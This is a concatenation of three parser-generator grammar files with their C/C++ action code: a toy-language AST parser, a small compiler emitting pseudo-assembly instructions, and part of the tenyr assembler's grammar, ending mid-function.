IDENTIFIER ASSIGN_OP exp { $$ = makeDeclaration($1, $2, $4); } ; if_statement : IF boolean_expression compound_statement { $$ = makeIf($2, $3); } | if_statement ELIF boolean_expression compound_statement { $$ = makeElif($1, $3, $4); } | if_statement ELSE compound_statement { $$ = makeElseIf($1, $3); } ; boolean_expression : '(' exp boolean_operator exp ')' { $$ = makeBooleanOperation($2, $4, $3); } | '(' boolean_expression AND_OP boolean_expression ')' { $$ = makeAndOperation($2, $4); } | '(' boolean_expression OR_OP boolean_expression ')' { $$ = makeOrOperation($2, $4); } | exp boolean_operator exp { $$ = makeBooleanOperation($1, $3, $2); } ; loop_statement : FOR for_expression compound_statement { $$ = makeFor($2, $3); } | WHILE boolean_expression compound_statement { $$ = makeWhile($2, $3); } ; for_expression : '(' declaration_statement ';' boolean_expression ';' exp ')' { $$ = $2; } ; function_call : IDENTIFIER '(' ')' { $$ = makeFunctionCallWithoutParameters($1); } | IDENTIFIER '(' argument_list ')' { $$ = makeFunctionCall($1, $3); } ; function_declaration : DATA_TYPE IDENTIFIER '(' argument_list ')' compound_statement { $$ = makeFunctionDeclaration($1, $2, $4, $6); } ; argument_list : { $$ = 0; } | argument_list ',' argument { $$ = makeArgumentList($1, $3); } | argument { $$ = $1; } ; argument : DATA_TYPE IDENTIFIER { $$ = makeArgument($1, $2); } | IDENTIFIER { $$ = makeCallArgument($1); } | STRING_VALUE { $$ = makeCallArgument2($1); } | NUMBER_VALUE { $$ = makeCallArgument3($1); } ; return_statement : RETURN exp { $$ = makeReturnStatement($2); } ; boolean_operator : MORE_OP { $$ = $1; } | LESS_OP { $$ = $1; } | EQUAL_OP { $$ = $1; } | MORE_OR_EQUAL_OP { $$ = $1; } | LESS_OR_EQUAL_OP { $$ = $1; } | OR_OP { $$ = $1; } | AND_OP { $$ = $1; } ; compound_statement : '{' '}' { $$ = 0; } | '{' statement_list '}' { $$ = $2; } ; %% #include <iostream> #include "parser.h" #include "astgen.h" using namespace std; void set_input_file(const char* filename); void set_output_file(const char* filename); void close_output_file(); int main(int argc, char** argv) { if (argc == 2) { set_input_file(argv[1]); } else if (argc == 3) { set_input_file(argv[1]); set_output_file(argv[2]); } else { set_input_file("input.txt"); } printf("\n \t AST part"); struct AstElement* astDest; int rlt = yyparse(&astDest); if (argc == 3) close_output_file(); //assert(a); printf("\n Starting to go along the AST "); struct ExecEnviron* e = createEnv(); execAst(e, astDest); freeEnv(e); return 0; } // we have to code this function void yyerror(void* ast, const char* msg) { cout << "Error: " << msg << endl; } void close_output_file() { if(pOutputFile) { fclose(pOutputFile); pOutputFile = NULL; } } void set_output_file(const char* filename) { if(filename) fopen_s(&pOutputFile, filename, "w"); }
%{ #include <stdio.h> #include <stdlib.h> #include "symbols.h" #include "assembly.h" extern FILE *yyin; extern FILE *yyout; int yydebug = 0; %} %union {int nb; char * var;} %token <nb> tNUMBER %token <var> tIDENTIFIER %token tCOMMA tSEMI_COLUMN tSLASH tSTAR tPLUS tMINUS tEQUAL tCLOSED_PARENTHESIS tOPENED_PARENTHESIS tVOID tCONST tINT tMAIN tOPENED_C_BRACKET tCLOSED_C_BRACKET tRETURN tPRINTF tSUP tINF tIF tELSE tWHILE %type <nb> EXPRESSION TYPE TYPE_OPTION LIST_IDENTIFIER CONDITION_IF tWHILE tOPENED_PARENTHESIS %right tEQUAL %left tPLUS tMINUS %left tSTAR tSLASH %start PROGRAM %% PROGRAM: RETURN_TYPE tMAIN tOPENED_PARENTHESIS tCLOSED_PARENTHESIS BODY ; RETURN_TYPE: TYPE | ; BODY: tOPENED_C_BRACKET LISTE_DECLARATIONS LISTE_INSTRUCTIONS tCLOSED_C_BRACKET {pop_tmp();}; LISTE_DECLARATIONS: DECLARATION LISTE_DECLARATIONS | ; LISTE_INSTRUCTIONS: INSTRUCTION LISTE_INSTRUCTIONS | ; INSTRUCTION: AFFECTATION|COP|WHILE|CONDITION|AFFICHAGE ; TYPE: tINT {$$=Integer;}; TYPE_OPTION: tCONST{$$=Const;}; CONDITION_IF: tIF tOPENED_PARENTHESIS EXPRESSION tCLOSED_PARENTHESIS { char * str = malloc(sizeof(char)*15); sprintf(str, "JMF %d",$3); int ligne = insert(str) ; free(str); $$ = ligne ; }; CONDITION: CONDITION_IF BODY { int current = getNumberLine(); patch($1, current + 2); int ligne = insert("JMP"); $1 = ligne; } tELSE BODY { int current = getNumberLine(); patch($1, current + 1); } | CONDITION_IF BODY { int current = getNumberLine(); patch($1, current + 1); }; WHILE: tWHILE tOPENED_PARENTHESIS {$1 = getNumberLine()+1;} EXPRESSION tCLOSED_PARENTHESIS { char * str = malloc(sizeof(char)*15); sprintf(str, "JMF %d",$4); int ligne = insert(str) ; free(str); $2 = ligne ; } BODY { int current = getNumberLine(); patch($2, current + 2); char * str = malloc(sizeof(char)*15); sprintf(str, "JMP %d", $1); insert(str); free(str); }; DECLARATION: TYPE_OPTION TYPE LIST_IDENTIFIER tEQUAL EXPRESSION tSEMI_COLUMN |TYPE LIST_IDENTIFIER tSEMI_COLUMN |TYPE LIST_IDENTIFIER tEQUAL EXPRESSION tSEMI_COLUMN; LIST_IDENTIFIER: tIDENTIFIER{$$=create_symbol($1, Integer, Nothing);}| tIDENTIFIER {create_symbol($1, Integer, Nothing);} tCOMMA LIST_IDENTIFIER; AFFECTATION: tIDENTIFIER tEQUAL tNUMBER tSEMI_COLUMN { char * str = malloc(sizeof(char)*100); sprintf(str, "AFC %d %d",get_symbol_by_name($1),$3); insert(str); free(str); }; COP: tIDENTIFIER tEQUAL EXPRESSION tSEMI_COLUMN { char * str = malloc(sizeof(char)*100); sprintf(str, "COP %d %d",get_symbol_by_name($1),$3); insert(str); free(str); if(is_tmp($3)) { pop_tmp(); } }; AFFICHAGE: tPRINTF tOPENED_PARENTHESIS tIDENTIFIER tCLOSED_PARENTHESIS tSEMI_COLUMN { char * str = malloc(sizeof(char)*100); sprintf(str, "PRI %d",get_symbol_by_name($3)); insert(str); free(str); }; EXPRESSION: tOPENED_PARENTHESIS EXPRESSION tCLOSED_PARENTHESIS { printf("resultat inter : %d\n",$2); $$=$2; } |EXPRESSION tSTAR EXPRESSION { int tmp=create_tmp_symbol(); char * str = malloc(sizeof(char)*100); sprintf(str, "MUL %d %d %d", tmp, $1, $3); insert(str); free(str); $$=tmp; } |EXPRESSION tSLASH EXPRESSION { int tmp=create_tmp_symbol(); char * str = malloc(sizeof(char)*100); sprintf(str, "DIV %d %d %d", tmp, $1, $3); insert(str); free(str); $$=tmp; } |EXPRESSION tPLUS EXPRESSION { int tmp=create_tmp_symbol(); char * str = malloc(sizeof(char)*100); sprintf(str, "ADD %d %d %d", tmp, $1, $3); insert(str); free(str); $$=tmp; } |EXPRESSION tMINUS EXPRESSION { int tmp=create_tmp_symbol(); char * str = malloc(sizeof(char)*100); sprintf(str, "SOU %d %d %d", tmp, $1, $3); insert(str); free(str); $$=tmp; } |EXPRESSION tEQUAL tEQUAL EXPRESSION { int tmp=create_tmp_symbol(); char * str = malloc(sizeof(char)*100); sprintf(str, "EQU %d %d %d", tmp, $1, $4); insert(str); free(str); $$=tmp; } |EXPRESSION tSUP EXPRESSION { int tmp=create_tmp_symbol(); char * str = malloc(sizeof(char)*100); sprintf(str, "SUP %d %d %d", tmp, $1, $3); insert(str); free(str); $$=tmp; } |EXPRESSION tINF EXPRESSION { int tmp=create_tmp_symbol(); char * str = malloc(sizeof(char)*100); sprintf(str, "INF %d %d %d", tmp, $1, $3); insert(str); free(str); $$=tmp; } |tIDENTIFIER {$$=get_symbol_by_name($1);} |tMINUS EXPRESSION %prec tSTAR { int tmp=create_tmp_symbol(); $$=tmp; } |tNUMBER { int tmp=create_tmp_symbol(); char * str = malloc(sizeof(char)*100); sprintf(str, "AFC %d %d", tmp, $1); // TODO: check if it is needed insert(str); free(str); $$=tmp; }; %% int main(int argc, char *argv[]) { if (argc == 3) { yyin = fopen(argv[1], "r"); if (yyparse()==0){ printf("OK\n"); writeFile(argv[2]); } else { printf("PAS OK\n"); } fclose(yyin); } else { printf("Wrong usage !\n"); } return 0; }
<filename>src/parser.y %{ #include <stdio.h> #include <ctype.h> #include <stdint.h> #include <string.h> #include <stdlib.h> #include <stdarg.h> #include <assert.h> #include "common.h" #include "parser_global.h" #include "expr.h" #include "parser.h" #define YY_HEADER_EXPORT_START_CONDITIONS 1 #include "lexer.h" #include "asm.h" int tenyr_error(YYLTYPE *locp, struct parse_data *pd, const char *fmt, ...); static struct const_expr *add_deferred_expr(struct parse_data *pd, struct const_expr *ce, int mult, int32_t *dest, int width, int flags); static struct const_expr *make_expr(struct parse_data *pd, YYLTYPE *locp, enum const_expr_type type, int op, struct const_expr *left, struct const_expr *right, int flags); static struct const_expr *make_imm(struct parse_data *pd, YYLTYPE *locp, int val, int flags); static struct expr *make_rhs(int type, int x, int op, int y, int mult, struct const_expr *defexpr); static struct expr *make_unary(int op, int x, int y, int mult, struct const_expr *defexpr); static struct element *make_insn_general(struct parse_data *pd, struct expr *lhs, int arrow, struct expr *expr); static struct element_list *make_chars(struct cstr *cs); static int add_symbol_to_insn(struct parse_data *pd, YYLTYPE *locp, struct element *insn, struct cstr *symbol); static struct element_list *make_data(struct parse_data *pd, struct const_expr_list *list); static struct element_list *make_zeros(struct parse_data *pd, YYLTYPE *locp, struct const_expr *size); static struct directive *make_global(struct parse_data *pd, YYLTYPE *locp, const struct cstr *sym); static struct directive *make_set(struct parse_data *pd, YYLTYPE *locp, const struct cstr *sym, struct const_expr *expr); static void handle_directive(struct parse_data *pd, YYLTYPE *locp, struct directive *d, struct element_list **context); static struct const_expr *make_ref(struct parse_data *pd, YYLTYPE *locp, enum const_expr_type type, const struct cstr *symbol); static struct const_expr *make_eref(struct parse_data *pd, YYLTYPE *locp, const struct cstr *symbol, int offset); static struct const_expr_list *make_expr_list(struct const_expr *expr, struct const_expr_list *right); static int validate_expr(struct parse_data *pd, struct const_expr *e, int level); // XXX decide whether this should be called in functions or in grammar actions static void free_cstr(struct cstr *cs, int recurse); %} %define parse.error verbose %define api.pure %locations %define parse.lac full %lex-param { void *yyscanner } /* declare parse_data struct as opaque for bison 2.6 */ %code requires { #define YYSTYPE TENYR_STYPE #define YYLTYPE TENYR_LTYPE struct parse_data; } %code { #define yyscanner (pd->scanner) #define PUSH(State) tenyr_push_state(State, yyscanner) #define POP tenyr_pop_state(yyscanner) #define ERR(...) tenyr_error(&yylloc, pd, __VA_ARGS__) } %parse-param { struct parse_data *pd } %define api.prefix {tenyr_} %start top /* precedence rules only matter in constant expressions */ %left '|' %left '^' %left '&' "&~" %left "==" '<' '>' "<=" ">=" %left "<<" ">>" ">>>" %left '+' '-' %left '*' '/' %token <i> '[' ']' '.' '(' ')' '+' '-' '*' '~' ',' ';' %token <i> INTEGER BITSTRING REGISTER %token <cstr> SYMBOL LOCAL STRSPAN CHARACTER %token ILLEGAL %token DBLQUOTE /* synonyms for literal string tokens */ %token LSH "<<" %token RSH ">>>" %token RSHA ">>" %token EQ "==" %token GE ">=" %token LE "<=" %token ORN "|~" %token ANDN "&~" %token PACK "^^" %token <i> TOL "<-" %token <i> TOR "->" %token WORD ".word" %token CHARS ".chars" %token GLOBAL ".global" %token SET ".set" %token ZERO ".zero" %type <ce> binop_expr expr vexpr atom vatom eref %type <cl> expr_list %type <cstr> string stringelt strspan symbol %type <dctv> directive %type <expr> rhs rhs_plain lhs lhs_plain %type <i> arrow regname reloc_op binop unary_op const_unary_op %type <imm> immediate %type <program> program element data insn %union { int32_t i; struct const_expr *ce; struct const_expr_list *cl; struct expr *expr; struct cstr *cstr; struct directive *dctv; struct element_list *program; struct immediate { int32_t i; int flags; } imm; } %% top : opt_terminators { pd->top = NULL; } | opt_terminators program { // Allocate a phantom entry to provide a final context element struct const_expr zs = { .type = CE_IMM, .i = 0 }; struct element_list **el = pd->top ? &pd->top->tail->next : &pd->top; *el = make_zeros(pd, &yylloc, &zs); } opt_nl : opt_nl '\n' | /* empty */ program : element terminators { pd->top = $$ = $1; } | program element terminators { struct element_list *p = $1, *d = $element; if (p == NULL) { p = d; } else if (d != NULL) { // an empty string is NULL p->tail->next = d; p->tail = d->tail; } pd->top = $$ = p; } | directive terminators { pd->top = $$ = NULL; handle_directive(pd, &yylloc, $directive, &pd->top); } | program directive terminators { handle_directive(pd, &yylloc, $directive, pd->top ? &pd->top->tail->next : &pd->top); } element : data | insn | symbol ':' opt_nl element[inner] { add_symbol_to_insn(pd, &yylloc, ($$ = $inner)->elem, $symbol); free_cstr($symbol, 1); } opt_terminators : /* empty */ | terminators terminator : '\n' | ';' terminators : terminators terminator | terminator insn : ILLEGAL { $$ = calloc(1, sizeof *$$); $$->elem = calloc(1, sizeof *$$->elem); $$->elem->insn.size = 1; $$->elem->insn.u.word = (int32_t)0xffffffff; /* P <- [P + -1] */ $$->tail = $$; } | lhs { PUSH(needarrow); } arrow { POP; } rhs { if ($lhs->deref && $rhs->deref) ERR("Cannot dereference both sides of an arrow"); if ($arrow == 1 && !$rhs->deref) ERR("Right arrows must point to dereferenced right-hand sides"); $$ = calloc(1, sizeof *$$); $$->elem = make_insn_general(pd, $lhs, $arrow, $rhs); $$->tail = $$; } symbol : SYMBOL | LOCAL string : stringelt | string[left] stringelt { $$ = $left ? $left : $stringelt; if ($left) $$->last->right = $stringelt; if ($stringelt) $$->last = $stringelt; } stringelt : DBLQUOTE strspan DBLQUOTE { $$ = $strspan; } | DBLQUOTE DBLQUOTE { $$ = NULL; } strspan : STRSPAN | strspan[left] STRSPAN { $$ = $left; $$->last->right = $STRSPAN; $$->last = $$->last->right; } data : ".word" opt_nl expr_list { POP; $$ = make_data(pd, $expr_list); } | ".zero" opt_nl expr { POP; $$ = make_zeros(pd, &yylloc, $expr); ce_free($expr); } | ".chars" opt_nl string { POP; $$ = make_chars($string); free_cstr($string, 1); } directive : ".global" opt_nl SYMBOL { POP; $directive = make_global(pd, &yylloc, $SYMBOL); free_cstr($SYMBOL, 1); } | ".set" opt_nl SYMBOL ',' vexpr { POP; $directive = make_set(pd, &yylloc, $SYMBOL, $vexpr); free_cstr($SYMBOL, 1); } expr_list : vexpr { $$ = make_expr_list($vexpr, NULL); } | vexpr ',' opt_nl expr_list[right] { $$ = make_expr_list($vexpr, $right); } lhs : lhs_plain | '[' lhs_plain ']' { $$ = $lhs_plain; $$->deref = 1; } lhs_plain : regname { $$ = calloc(1, sizeof *$$); $$->x = $regname; } rhs : rhs_plain | '[' rhs_plain ']' { $$ = $rhs_plain; $$->deref = 1; } rhs_plain : regname[x] binop regname[y] reloc_op vatom { $$ = make_rhs(0, $x, $binop, $y, $reloc_op, $vatom); } | regname[x] binop regname[y] { int adding = $binop == OP_ADD; int type = adding ? 2 : 0; int op = adding ? OP_BITWISE_OR : $binop; $$ = make_rhs(type, $x, op, $y, 0, NULL); } | regname[x] { $$ = make_rhs(1, 0, OP_BITWISE_OR, $x, 0, NULL); } | regname[x] binop vatom '+' regname[y] { $$ = make_rhs(1, $x, $binop, $y, 1, $vatom); } | regname[x] binop vatom { int adding = $binop == OP_ADD || $binop == OP_SUBTRACT; int mult = $binop == OP_SUBTRACT ? -1 : 1; int type = adding ? 3 : 1; int op = mult < 0 ? OP_ADD : $binop; $$ = make_rhs(type, $x, op, 0, mult, $vatom); } | vatom binop regname[x] '+' regname[y] { $$ = make_rhs(2, $x, $binop, $y, 1, $vatom); } | vatom binop regname[x] { int adding = $binop == OP_ADD; int x = adding ? 0 : $x; int y = adding ? $x : 0; int op = adding ? OP_BITWISE_OR : $binop; // `B <- 0 + C` is type2, `B <- 2 + C` is type1 $$ = make_rhs(adding ? 1 : 2, x, op, y, 1, $vatom); } | vatom { $$ = make_rhs(3, 0, 0, 0, 1, $vatom); } /* syntax sugars */ | unary_op regname[x] reloc_op vatom { $$ = make_unary($unary_op, $x, 0, $reloc_op, $vatom); } | unary_op regname[x] '+' regname[y] { $$ = make_unary($unary_op, $x, $y, 0, NULL); } | unary_op regname[x] { $$ = make_unary($unary_op, $x, 0, 0, NULL); } regname : REGISTER { $regname = toupper($REGISTER) - 'A'; } immediate : INTEGER { $immediate.i = $INTEGER; $immediate.flags = 0; } | BITSTRING { $immediate.i = $BITSTRING; $immediate.flags = IMM_IS_BITS; } | CHARACTER { $immediate.i = $CHARACTER->tail[-1]; $immediate.flags = IMM_IS_BITS; free_cstr($CHARACTER, 1); } binop /* native ops */ : '+' { $$ = OP_ADD ; } | '-' { $$ = OP_SUBTRACT ; } | '*' { $$ = OP_MULTIPLY ; } | '<' { $$ = OP_COMPARE_LT ; } | "==" { $$ = OP_COMPARE_EQ ; } | ">=" { $$ = OP_COMPARE_GE ; } | '|' { $$ = OP_BITWISE_OR ; } | "|~" { $$ = OP_BITWISE_ORN ; } | '&' { $$ = OP_BITWISE_AND ; } | "&~" { $$ = OP_BITWISE_ANDN ; } | '^' { $$ = OP_BITWISE_XOR ; } | "<<" { $$ = OP_SHIFT_LEFT ; } | ">>" { $$ = OP_SHIFT_RIGHT_ARITH; } | ">>>" { $$ = OP_SHIFT_RIGHT_LOGIC; } | "^^" { $$ = OP_PACK ; } | '@' { $$ = OP_TEST_BIT ; } /* ops implemented by syntax sugar */ | '>' { $$ = -OP_COMPARE_LT ; } | "<=" { $$ = -OP_COMPARE_GE ; } unary_op : '~' { $$ = OP_BITWISE_ORN; } | '-' { $$ = OP_SUBTRACT; } arrow : "<-" { $$ = 0; } | "->" { $$ = 1; } reloc_op : '+' { $$ = +1; } | '-' { $$ = -1; } vexpr : expr { $$ = $1; validate_expr(pd, $1, 0); } vatom : atom { $$ = $1; validate_expr(pd, $1, 0); } expr : atom { $$ = $1; ce_eval_const(pd, $1, &$1->i); } | binop_expr { $$ = $1; ce_eval_const(pd, $1, &$1->i); } eref : '@' SYMBOL { $$ = make_ref (pd, &yylloc, CE_EXT, $SYMBOL); free_cstr($SYMBOL, 1); } /* syntax sugars */ | '@' '+' SYMBOL { $$ = make_eref(pd, &yylloc, $SYMBOL, 1); free_cstr($SYMBOL, 1); } binop_expr : expr[x] '+' expr[y] { $$ = make_expr(pd, &yylloc, CE_OP2, '+', $x, $y, 0); } | expr[x] '-' expr[y] { $$ = make_expr(pd, &yylloc, CE_OP2, '-', $x, $y, RHS_NEGATE); } | expr[x] '*' expr[y] { $$ = make_expr(pd, &yylloc, CE_OP2, '*', $x, $y, FORBID_LHS); } | expr[x] '/' expr[y] { $$ = make_expr(pd, &yylloc, CE_OP2, '/', $x, $y, FORBID_LHS); } | expr[x] '^' expr[y] { $$ = make_expr(pd, &yylloc, CE_OP2, '^', $x, $y, FORBID_LHS); } | expr[x] '&' expr[y] { $$ = make_expr(pd, &yylloc, CE_OP2, '&', $x, $y, SPECIAL_LHS); } | expr[x] '|' expr[y] { $$ = make_expr(pd, &yylloc, CE_OP2, '|', $x, $y, FORBID_LHS); } | expr[x] "<<" expr[y] { $$ = make_expr(pd, &yylloc, CE_OP2, LSH, $x, $y, FORBID_LHS); } | expr[x] ">>" expr[y] { $$ = make_expr(pd, &yylloc, CE_OP2, RSHA, $x, $y, SPECIAL_LHS); } | expr[x] ">>>" expr[y] { $$ = make_expr(pd, &yylloc, CE_OP2, RSH, $x, $y, FORBID_LHS); } const_unary_op : '~' { $$ = '~'; } | '-' { $$ = '-'; } atom : eref | '(' expr ')' { $$ = $expr; } | const_unary_op atom[inner] { $$ = make_expr(pd, &yylloc, CE_OP1, $const_unary_op, $inner, NULL, 0); ce_eval_const(pd, $$, &$$->i); } | immediate { $$ = make_imm(pd, &yylloc, $immediate.i, $immediate.flags); } | '.' { $$ = make_expr(pd, &yylloc, CE_ICI, 0, NULL, NULL, IMM_IS_BITS | IS_DEFERRED); } | LOCAL { $$ = make_ref(pd, &yylloc, CE_SYM, $LOCAL); free_cstr($LOCAL, 1); } %% int tenyr_error(YYLTYPE *locp, struct parse_data *pd, const char *fmt, ...) { va_list vl; int col = locp->first_column + 1; fflush(stderr); // We use first_column as a flag to tell us whether pd->lexstate is valid // enough to provide the diagnostic caret and context. if (locp->first_column >= 0) { fprintf(stderr, "%s\n", pd->lexstate.saveline); fprintf(stderr, "%*s", col, "^"); int len = locp->last_column - locp->first_column; while (len-- > 0) fwrite("^", 1, 1, stderr); fwrite("\n", 1, 1, stderr); } va_start(vl, fmt); vfprintf(stderr, fmt, vl); va_end(vl); fprintf(stderr, " at line %d", locp->first_line); if (locp->first_column >= 0) fprintf(stderr, " column %d at `%s'", col, tenyr_get_text(pd->scanner)); fwrite("\n", 1, 1, stderr); pd->errored++; return 0; } static struct element *make_insn_general(struct parse_data *pd, struct expr *lhs, int arrow, struct expr *expr) { struct element *elem = calloc(1, sizeof *elem); int dd = ((lhs->deref | (!arrow && expr->deref)) << 1) | expr->deref; elem->insn.u.typeany.p = (unsigned)expr->type; elem->insn.u.typeany.dd = (unsigned)dd; elem->insn.u.typeany.z = (unsigned)lhs->x; elem->insn.u.typeany.x = (unsigned)expr->x; free(lhs); switch (expr->type) { case 0: case 1: case 2: elem->insn.u.type012.op = (unsigned)expr->op; elem->insn.u.type012.y = (unsigned)expr->y; elem->insn.u.type012.imm = (unsigned)expr->i; break; case 3: elem->insn.u.type3.imm = (unsigned)expr->i; } elem->insn.size = 1; if (expr->ce) { int width = (expr->type == 3) ? MEDIUM_IMMEDIATE_BITWIDTH : SMALL_IMMEDIATE_BITWIDTH; add_deferred_expr(pd, expr->ce, expr->mult, &elem->insn.u.word, width, 0); expr->ce->insn = elem; } free(expr); return elem; } static struct const_expr *add_deferred_expr(struct parse_data *pd, struct const_expr *ce, int mult, int32_t *dest, int width, int flags) { struct deferred_expr *n = calloc(1, sizeof *n); n->next = pd->defexprs; n->ce = ce; n->dest = dest; n->width = width; n->mult = mult; n->flags = flags; pd->defexprs = n; return ce; } static struct const_expr *make_expr(struct parse_data *pd, YYLTYPE *locp, enum const_expr_type type, int op, struct const_expr *left, struct const_expr *right, int flags) { struct const_expr *n = calloc(1, sizeof *n); if (left && (left->flags & IS_EXTERNAL) && (flags & FORBID_LHS)) tenyr_error(locp, pd, "Expression contains an invalid use of a " "deferred expression"); n->type = type; n->op = op; n->left = left; n->right = right; n->insn = NULL; // top expr will have its insn filled in n->flags = ((left ? left->flags : 0) | (right ? right->flags : 0)) | flags; n->srcloc = *locp; n->deferred_name = NULL; n->symbol_name = &n->deferred_name; return n; } static struct const_expr *make_imm(struct parse_data *pd, YYLTYPE *locp, int val, int flags) { struct const_expr *imm = make_expr(pd, locp, CE_IMM, 0, NULL, NULL, flags); imm->i = val; return imm; } static struct expr *make_rhs(int type, int x, int op, int y, int mult, struct const_expr *defexpr) { struct expr *e = calloc(1, sizeof *e); e->type = type; e->deref = 0; e->x = x; e->op = op; e->y = y; e->mult = mult; e->ce = defexpr; if (op < 0) { // syntax sugar, swapping operands // `type` must not be e at this point (can't swap operands in type 3) e->op = -op; switch (type) { case 0: e->x = y; e->y = x; break; case 1: e->type = 2; break; case 2: e->type = 1; break; } } if (defexpr) { if (op == OP_PACK) e->ce->flags |= IGNORE_WIDTH; e->i = (int32_t)0xfffffbad; // put in a placeholder that must be overwritten } else e->i = 0; // there was no expr ; zero defined by language return e; } static struct expr *make_unary(int op, int x, int y, int mult, struct const_expr *defexpr) { // tenyr has no true unary ops, but the following sugars are recognised by // the assembler and converted into their corresponding binary equivalents : // // b <- ~b + 2 becomes b <- a |~ b + 2 (type 0) // b <- ~b + c becomes b <- 0 |~ b + c (type 2) // b <- -b + 2 becomes b <- a - b + 2 (type 0) // b <- -b + c becomes b <- 0 - b + c (type 2) int type = defexpr ? 0 : 2; int xx = defexpr ? 0 : x; int yy = defexpr ? x : y; return make_rhs(type, xx, op, yy, mult, defexpr); } static void free_cstr(struct cstr *cs, int recurse) { if (!cs) return; if (recurse) free_cstr(cs->right, recurse); free(cs->head); free(cs); } static struct element_list *make_chars(struct cstr *cs) { struct element_list *result = NULL, **rp = &result; struct cstr *p = cs; struct element_list *t; while (p) { char *h = p->head; for (; h < p->tail; h++) { *rp = calloc(1, sizeof **rp); result->tail = t = *rp; rp = &t->next; t->elem = calloc(1, sizeof *t->elem); t->elem->insn.u.word = *h; t->elem->insn.size = 1; } p = p->right; } return result; } static int add_symbol(YYLTYPE *locp, struct parse_data *pd, struct symbol *n) { struct symbol_list *l = calloc(1, sizeof *l); l->next = pd->symbols; l->symbol = n; pd->symbols = l; return 0; } static char *coalesce_string(const struct cstr *s) { const struct cstr *p = s; size_t len = 0; while (p) { ptrdiff_t size = p->tail - p->head; assert(size >= 0); len += (size_t)size; p = p->right; } char *ret = malloc(len + 1); p = s; len = 0; while (p) { ptrdiff_t size = p->tail - p->head; assert(size >= 0); memcpy(&ret[len], p->head, (size_t)size); len += (size_t)size; p = p->right; } ret[len] = '\0'; return ret; } static int add_symbol_to_insn(struct parse_data *pd, YYLTYPE *locp, struct element *in, struct cstr *symbol) { struct symbol *n = calloc(1, sizeof *n); n->column = locp->first_column; n->lineno = locp->first_line; n->resolved = 0; n->next = in->symbol; n->unique = 1; n->name = coalesce_string(symbol); in->symbol = n; return add_symbol(locp, pd, n); } static struct element_list *make_data(struct parse_data *pd, struct const_expr_list *list) { struct element_list *result = NULL, **rp = &result; struct const_expr_list *p = list; while (p) { *rp = calloc(1, sizeof **rp); struct element_list *q = *rp; result->tail = *rp; rp = &q->next; struct element *e = q->elem = calloc(1, sizeof *q->elem); e->insn.size = 1; add_deferred_expr(pd, p->ce, 1, &e->insn.u.word, WORD_BITWIDTH, 0); p->ce->insn = e; struct const_expr_list *temp = p; p = p->right; free(temp); } return result; } static struct element_list *make_zeros(struct parse_data *pd, YYLTYPE *locp, struct const_expr *size) { if (size->flags & IS_DEFERRED) tenyr_error(locp, pd, "size expression for .zero must not " "depend on symbol values"); // Continue even in the error case so we return a real data element so // further errors can be collected and reported. Returning NULL here // without adding additional complexity to data-users in the grammar would // cause a segfault. struct element_list *result = calloc(1, sizeof *result); result->elem = calloc(1, sizeof *result->elem); result->tail = result; ce_eval_const(pd, size, &result->elem->insn.size); return result; } static struct directive *make_global(struct parse_data *pd, YYLTYPE *locp, const struct cstr *symbol) { struct directive *result = calloc(1, sizeof *result); result->type = D_GLOBAL; // TODO try to eliminate string copy struct global_list *g = result->data = malloc(sizeof *g); ptrdiff_t size = symbol->tail - symbol->head; assert(size >= 0); g->name = malloc((size_t)size + 1); strcopy(g->name, symbol->head, (size_t)size + 1); return result; } static struct directive *make_set(struct parse_data *pd, YYLTYPE *locp, const struct cstr *symbol, struct const_expr *expr) { struct directive *result = calloc(1, sizeof *result); result->type = D_SET; struct symbol *n = result->data = calloc(1, sizeof *n); n->column = locp->first_column; n->lineno = locp->first_line; n->resolved = 0; n->next = NULL; n->ce = expr; n->unique = 0; // XXX validate symbol length n->name = coalesce_string(symbol); add_symbol(locp, pd, n); return result; } static void handle_directive(struct parse_data *pd, YYLTYPE *locp, struct directive *d, struct element_list **context) { if (!d) return; // permit NULL directives as no-ops switch (d->type) { case D_GLOBAL: { struct global_list *g = d->data; g->next = pd->globals; pd->globals = g; break; } case D_SET: { struct symbol *sym = d->data; sym->ce->deferred = context; break; } case D_NULL: case D_ZERO: tenyr_error(locp, pd, "Unknown directive type %d in %s", d->type, __func__); } free(d); } static struct const_expr *make_ref(struct parse_data *pd, YYLTYPE *locp, enum const_expr_type type, const struct cstr *symbol) { int flags = IMM_IS_BITS | IS_DEFERRED; if (type == CE_EXT) flags |= IS_EXTERNAL; struct const_expr *eref = make_expr(pd, locp, type, 0, NULL, NULL, flags); struct symbol *s; char *name = coalesce_string(symbol); if ((s = symbol_find(pd->symbols, name))) { eref->symbol = s; eref->symbol_name = &eref->symbol->name; free(name); } else { eref->deferred_name = name; eref->symbol_name = &eref->deferred_name; } return eref; } // make_eref implements syntax sugar : // `@+var` expands to `@var - (. + 1)` static struct const_expr *make_eref(struct parse_data *pd, YYLTYPE *locp, const struct cstr *symbol, int offset) { return make_expr(pd, locp, CE_OP2, '-', make_ref(pd, locp, CE_EXT, symbol), make_expr(pd, locp, CE_OP2, '+', make_expr(pd, locp, CE_ICI, 0, NULL, NULL, IMM_IS_BITS | IS_DEFERRED), make_imm(pd, locp, offset, 0), 0), 0); } static struct const_expr_list *make_expr_list(struct const_expr *expr, struct const_expr_list *right) { struct const_expr_list *result = calloc(1, sizeof *result); result->right = right; result->ce = expr; return result; } static int validate_expr(struct parse_data *pd, struct const_expr *e, int level) { int ok = 1; if (!e) return 1; struct const_expr *left = e->left, *right = e->right; int is_binary = left && right; ok &= validate_expr(pd, left , level + 1); ok &= validate_expr(pd, right, level + 1); if (is_binary) { if ((left->flags & IS_EXTERNAL) && (right->flags & IS_EXTERNAL)) { ok = 0; tenyr_error(&e->srcloc, pd, "Expression contains more than one " "reference to an external"); } } // check both left and right to make sure we validate only binary ops if (is_binary && (left->flags & IS_EXTERNAL) && (e->flags & SPECIAL_LHS)) { // Special rules apply to right-shifts of 12 and masks of 0xfff. This // is how we express breaking down a large offset into a 20-bit chunk // and a 12-bit chunk that we reassemble using OP_PACK. // TODO implement the special relocation types in the linker // XXX how to characterise the legal possibilities ? // B <- ((@xx - .) >> 12) ; C <- B ^^ ((@xx - .) & 0xfff) // B <- ( @xx >> 12) ; C <- B ^^ ( @xx & 0xfff) switch (e->op) { case RSHA: ok &= (level == 0); ok &= e->right->i == 12; break; case '&': ok &= (level == 0); ok &= e->right->i == 0xfff; break; case '-': /* subtraction is always valid */; break; case '+': /* addition is always valid */; break; default: ok &= 0; break; } if (!ok) { // At this point e->srcloc may not correspond to lexstate. Until we // get around to making a "where this was" object, we inhibit // printing the handy caret, by invalidating the column // information. e->srcloc.first_column = -1; tenyr_error(&e->srcloc, pd, "Expression contains an invalid use of a " "deferred binary expression"); } } return 